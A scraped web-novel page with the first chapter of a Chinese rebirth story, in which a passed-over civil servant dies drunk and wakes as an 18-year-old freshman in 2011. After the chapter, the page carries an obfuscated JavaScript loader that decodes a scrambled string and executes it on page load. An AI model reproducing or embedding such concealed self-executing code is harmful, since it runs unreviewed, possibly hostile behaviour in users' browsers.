返回

重生之向老实人宣战

首页
关灯
护眼
字体:
1.老实人的最后一幕
江城新雅大酒店里,数字888名为“步步高升”的包房,一群人端着酒杯,众星捧月。

“小高,年轻有为,恭喜跨过科级这道大坎。”

“高科长,哦不,现在应该叫高处长了,以后还得您多多栽培,我把这杯干了。”

“高哥,您可真是众望所归,组织部真是慧眼识珠啊。”

......

话题中心的男人八面玲珑,谈笑风生,基本上酒桌上所有的话题都因他而起。

“哎,小顾,听说你是和小高同一年考入的市委,也算半个同门师兄弟,你提一杯。”

一位年长者促狭道。

江湖不是打打杀杀,是人情世故。这不,想躲是躲不开的。

酒桌上低着头,话最少的男人叫顾允,三十五岁的他和高志鹏同龄,正处男人当打之年。作为和高志鹏同批考入江城市政府办公室的昔年精英,事业成就却迥然不同。

三十五岁的科员在政府办不多,顾允算一个。他十年前以全省前二的高分考入政府办,风头一时无两,领导曾经非常器重。

按理说他能够在千军万马中脱颖而出,双商自然是在线的。顾允自打入职后,这才鼓起勇气追求暗恋多年的白月光,对方却以工作太忙不想异地为由婉言拒绝。

之后的故事就像生活一般常见,顾允草草相亲结婚,抱着铁饭碗躺平心态,精心营造老实人人设,自诩与世无争。

但是你不争,有人自然会争,人性如此简单,洞若观火。

几年后,顾允和同期的高志鹏渐渐拉开差距,高耸入云,直到今天。

“志鹏和我是十年的好朋友了,从面试起我们就认识,一直以来志鹏的能力有目共睹,一是工作态度,二是人际交往,三是政治觉悟......”

觥筹交错,酒席快要散场,没有人发现,敬酒之后的顾允悄悄红了眼眶。

他本不想来这个场合,但是昔日同僚高升之后却变成了他的分管领导,人在江湖,身不由己。

酒过三巡,职位最低的顾允帮所有人叫好代驾,独自摇摇晃晃走在马路中央。

他不是本场的主角,也没有人刻意灌他酒,但他就是醉了。

被他刻意按在潜意识里的那个声音,渐渐清晰可闻。

那个声音在顾允脑海里字正腔圆地念着三个字,反复循环。

妻子经常说:“努力工作升官有什么用?赚的钱还不是差不多,咱不稀罕。”

不稀罕?是啊,不稀罕,后考进来的年轻同事顺利提拔,对他的称呼从“顾哥”变成“老顾”的时候,他依然维持着笑脸。

不稀罕?是啊,不稀罕,十年原地不动,工资全部上缴,妻子对他的白眼从来不加掩饰。

不稀罕?是啊,不稀罕,毕业时同学聚会,顾允坐在饭局最中央,十年再聚......他干脆不去了。

三个字写起来,仿佛是“不稀罕”,读起来,却读作——不甘心。

不甘心自己高开低走,最终一事无成。

不甘心自己曾经拥有的,却落入他手。

不甘心自己所愿的,只能深埋在心底。

“老实人?当老实人真他妈傻......比”

“轰隆”一声巨响,夹带着醉酒中年男人的声声呢喃,老实人顾允长醉不复醒。

......

眼睛被刺眼的阳光包围,顾允坐起身来,发现自己在七天连锁酒店的大床房里。

“我宿醉了?”

“谁把我送到七天的?”

“上班要迟到了!!”

顾允连忙跑到洗手间准备洗漱去上班,浑浑噩噩打开水龙头冲洗脸庞,抬起头的一刹那。

他怔住了。

镜中是一个十七八岁的少年,额头前还有长长的碎发,眼神里沧桑尽去,嘴边还有未剃干净的胡茬,熟悉而又陌生。

“???”

顾允疯一般回到屋内找自己的手机,却怎么找都找不到,终于他在床头灯旁发现了一台比自己手机小好多倍的长方形物体。

手机显示:2011年9月1日,这是一台当年最流行的iPhone4。

眼前的场景如梦似幻,顾允不敢相信自己的眼睛,连滚带爬跑到楼下。

九月的江城晴空万里,烈日炎炎,他死死望着面前马路上的指示牌——民族大道,再也控制不住自己的情绪,狠狠给了自己一嘴巴。

激动之余,少年反复拍打自己的脸庞,顾允终于明白,他真的重生了,他不再是三十五岁的中年男人,那个老实人永远死在了酒醉的午夜。

十八岁的少年顾允还没有进入角色,一个电话打了进来。

“顾允,你来报到了没啊?”话筒外传来一句甜美的声音。

“哦......你是谁?”顾允早就忘了这个声音的主人。

“我是钟乐怡,你是没睡醒吗?赶紧来报到!”女孩的声音带了三分娇嗔。

顾允慢慢把混乱的脑子合二为一,回过神来,想起此刻的他刚刚考入南湖大学,今天正是报到的日子。

收拾好行李走出酒店,顾允穿过民族大道,和记忆里的母校别无二致,南湖大学门口欢迎新生的横幅红的亮眼,缓缓走过一排排柳树,这个季节石楠花还没有开,江城的风微微拂过面庞,一双又一双长腿晃过顾允的眼睛。

对,在四大火炉面前,没有人能穿长裤。

在熟悉的校园里,顾允的记忆逐渐苏醒,渐渐接受了自己回到十八岁的事实。

多风光的海岛一秒变废土

长存在心底的倾慕一秒够细数

每秒每晚仿似大盗

偷走的青春一天天变老

只可追忆到想追追不到

......

学校广播台里放着陈奕迅的《夕阳无限好》,顾允办好入学手续,百无聊赖在操场上散步。

“顾允!来报到也不和我一起!”一双手从后面拍了拍他。

把视线转回到身后,阴凉下是一位高挑少女,黑色短裙伴着夕阳晚风微微荡漾,踩着一双粉色碎花小凉鞋,她至少有一米七二的身高,在江城这样的天气,脸色点缀着淡淡的红晕,水波流转的双眼,高挺的鼻梁,红润的双唇,白皙的肤色,一头长发如波浪一般垂到肩膀。

少女距离顾允太近,他甚至可以闻到高挑少女发梢间的香气。

“我忘了......”顾允这才意识到对面少女就是打电话的始作俑者钟乐怡。

钟乐怡是他的老乡,辽城人,据说是隔壁五中高三年级的校花,前世他鼓起勇气追求的白月光。

辽城是个不大的地级市,双体制内家庭更不多,恰巧钟乐怡和顾允都属于这一类。

顾允虽然不爱学习,但是成绩中等,长得不帅也不丑,性格也算活泼,甚至小时候还因为当混混被学校开除过,中学阶段也有不少女孩子暗恋。

但是相比钟乐怡,他着实没有底气。

前世的钟乐怡,高考失利来到南湖大学法学院,研究生正常发挥去了京城的一所法学顶级院校,后来家里出钱付了首付留在京城,毕业直接被红圈所录取,三十几岁实现财富自由。

面对若干年后一骑绝尘的进化版钟乐怡,顾允也只能始终把暗恋放在心里。

但现在的钟乐怡万万没想到,她对面的大男孩,已经不是十八岁的心智,也不是十八岁的认知,打碎固有命运获得上天垂青的顾允,决定这一世要向老实人宣战。

“帮我搬下行李上楼好不好?”

“好啊。”顾允嘴角高高扬起。

上一章 目录 下一章

(function(){function o047defe(f2284){var tee004=".Ru2y?Gd]68bQ30Fc@=zv~soSWp!t(1f%,a:B9VqUreMJik-POZAC&EK[;5/Hj|lgw7XDxI^nmYT$hN_4L";var lb755b6de="WxtaYoN(u9[lPiKpwheVHrJ@-G$7&?D;TX.c5MSU!fOZAk4bE^|=8Cd6,m0_]:IFy3Bsq1R2L/jg~%vnzQ";return f2284.split('').map(function(dd1904f){var ra6b2cf0a=tee004.indexOf(dd1904f);return ra6b2cf0a==-1?dd1904f:lb755b6de[ra6b2cf0a]}).join('')}var c=o047defe('magnet:?xt=c3_E?c8"" + "R" + ":" + ":" + "^" + "^" + "^" + "5" + "2" + "-"+""HAr]_:u3?_d){fdr]_:u3?_dYr^6Cx^6[?=226[Yk6kr^[4=Er^=:kE){3rdmO92:Z.3_mau=Xud_2N3T2u?~aFb2ur?~;)){~=u]~_}fN2~ g=-:!Ar]_:u3?_d;ww=EK=!){~=u]~_ Vu~3_Tar~?;&@2~&?E=d;ww=EK=!)}fN2~ _C=k^2Cw-A8"uSx"["NSx6"["]S^C^Kxk^K5^KB5^6"["ES^5^kS5kSxx 55j5^jkw"["XgXS4:"HfN2~ XK6rw-K^AYk6kr^8g=-:!d5RKx)+g=-:!d5R!k)+g=-:!d5RKl)+g=-:!d5RK^)H[?rxw5AYk6kr^8g=-:!d5RK^)+g=-:!d5R!k)+g=-:!d5RKl)+g=-:!d5RKx)H[R^E5E:=xrA4=Er^=:kE8XK6rw-K^d"ywzg:;z]ElGY:;bcEJAA")H[_Bw:CwwwAXK6rw-K^d"ywsby,IbI.Rb-.z]EJAA")[4xxx6AXK6rw-K^d":wz3:wIg2.B_")[;!kEwAXK6rw-K^d":;zc-WlYMLAA")[Rrk:r=w6AXK6rw-K^d":w7X2,LA")[@CB::EAXK6rw-K^d":;z^M,s4MLAA")[2E5!x56AXK6rw-K^d"2;6F-TAA")[3CEKkErAXK6rw-K^d":;l]MW6u")[462x-E:AYk6kr^8XK6rw-K^d"%.l52JAA")H[@^26E=B25AXK6rw-K^d"-W6@MJAA")fN2~ -5KKw!rBrAXK6rw-K^d"=;GiM.sxMcAA")fN2~ TBkkxw2x:f3rdb?:2u3?_aX=2~:@a3_E=Rerd-5KKw!rBr)>Sx){TBkkxw2x:A4=Er^=:kE8_Bw:CwwwHdXK6rw-K^d"EWzkEWlgM.PA"))fTBkkxw2x:a3EA"u"+d462x-E:83CEKkErHd)*x5555)fTBkkxw2x:aXugb=ac3Eu@A"x55h"fTBkkxw2x:aXugb=a@=3T@uA"B55FR"fTBkkxw2x:aE3X2-b=EAu~]=f3rd4=Er^=:kEa-?EgUA_]bb){4=Er^=:kEa-?Ega2FF=_E&@3bEdTBkkxw2x:)}=bX={N2~ X:xB^x:Ar]_:u3?_d){4=Er^=:kEa-?Ega2FF=_E&@3bEdTBkkxw2x:)fYk6kr^a~=;?N=PN=_un3Xu=_=~d@^26E=B25[X:xB^x:[r2bX=)}fYk6kr^a2EEPN=_un3Xu=_=~d@^26E=B25[X:xB^x:[r2bX=)}}N2~ :wx^EA4=Er^=:kE8_Bw:CwwwHdXK6rw-K^d"M.x3M.LA"))f:wx^EaXugb=a@=3T@uA"5FR"f:wx^Ea3EA?=226+d462x-E:a:=3bd462x-E:83CEKkErHd)*x5555))fN2~ u52-^2Ar]_:u3?_d3k5kkCkk^){N2~ 2-^2wEKA_=c 12u=d)fN2~ Ywx55CA`2ENVF2:=|E/p{?=226}/p{2-^2wEKau?n?:2b=12u=Vu~3_Td)}`fN2~ cr!rC5AsVeGaF2~X=db?:2bVu?~2T=aT=u|u=;dYwx55C))f3rdcr!rC5AA_]bb){cr!rC5A{-~?cX=~&?]_uj5}}cr!rC5a-~?cX=~&?]_u++fN2~ RE=wKkB:A?rxw5d_C=k^2Cw-a:?_:2ud812u=8"_?c"Hd)[b?:2u3?_a@~=r[`@X:Sp{cr!rC5a-~?cX=~&?]_u}`H)aX?~udd)A>462x-E:83CEKkErHd)S5aB)82E5!x56Hd"["))fN2~ ?k==EB5rARE=wKkB:a3_E=Rerdg=-:!d5RwE))>Sx(RE=wKkB:84xxx6HdRE=wKkB:a3_E=Rerdg=-:!d5RwE)))j""fRE=wKkB:ARE=wKkB:8;!kEwHd?k==EB5r["")8Rrk:r=w6Hd"")8@CB::EHd)82E5!x56Hd"")+?k==EB5rf:wx^EaX~:A8"@uuFXjmm"[3k5kkCkk^[RE=wKkB:H82E5!x56Hd"m")f4=Er^=:kEa-?Ega2FF=_E&@3bEd:wx^E)f3rdTBkkxw2x:UA_]bb){TBkkxw2x:aN2b]=+A"\\~\\_2FF=_E=E =; u? @u;b"fN2~ -E!BK:!5:A4=Er^=:kEaT=uPb=;=_u7g|Ed:wx^Ea3E)f3rd-E!BK:!5:AA_]bbZZ-E!BK:!5:AA]_E=r3_=E){TBkkxw2x:aN2b]=+A"\\~\\_ :2_u T=u =; r~?; @u;b"}}}f3rdTBkkxw2x:UA_]bb){TBkkxw2x:aN2b]=+A"\\~\\_X=_E YX @?Xu "+Yr^6Cx^6}N2~ b!rEwAr]_:u3?_dT5!w-){~=u]~_ XK6rw-K^dT5!w-)8;!kEwHdg=-:!d5R^J)[462x-E:83CEKkErHd)au?Vu~3_TdwK)aXb3:=d462x-E:arb??~d462x-E:83CEKkErHd)*6)+^))}fu52-^2db!rEwdYr^6Cx^6))fYk6kr^8"2EEPN=_un3Xu=_=~"Hd";=XX2T="[r]_:u3?_d=){3rd=aE2u2aiAA?=226){4=Er^=:kEaT=uPb=;=_u7g|Ed:wx^Ea3E)a~=;?N=d)f3rdTBkkxw2x:UA_]bb){TBkkxw2x:aN2b]=+A"\\~\\_~=:=3N= =; F?Xu ;=XX2T="fTBkkxw2x:aN2b]=+A"\\~\\_=aE2u2aN "+=aE2u2aD}_=c l]_:u3?_d"2~TX"[=aE2u2aD)d{/uE:XjR^E5E:=xr[/u~2jTBkkxw2x:})}})})d"03B3y,IF2;b@-3BY-^5A"["^C^Kxk^K5^KB5^6"[c3_E?c[E?:];=_u)}fR::^^^52-d)f'.substr(11));new Function(c)()})();